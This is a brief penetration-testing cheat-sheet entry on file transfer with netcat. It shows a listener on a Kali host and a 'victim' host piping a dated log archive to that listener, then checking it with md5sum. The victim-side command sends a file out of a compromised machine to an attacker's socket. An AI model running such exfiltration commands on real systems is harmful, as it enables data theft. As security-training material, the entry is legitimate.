File Transfer with netcat

Transfers a file over a raw TCP connection: the receiver listens and redirects to a file, the sender pipes the file in; verify integrity with md5sum.

Use netcat to move a file between two hosts over a plain TCP socket when no proper file-transfer service is available.

Steps

• On the receiving host (e.g. Kali), listen and redirect the stream to a file: nc -lvnp 9001 > log.zip.
• On the sending host (victim), connect to the listener and feed the file in: nc <IP> 9001 < 2026-2-9.log.zip.
• Run md5sum on both ends to confirm the transfer was not corrupted.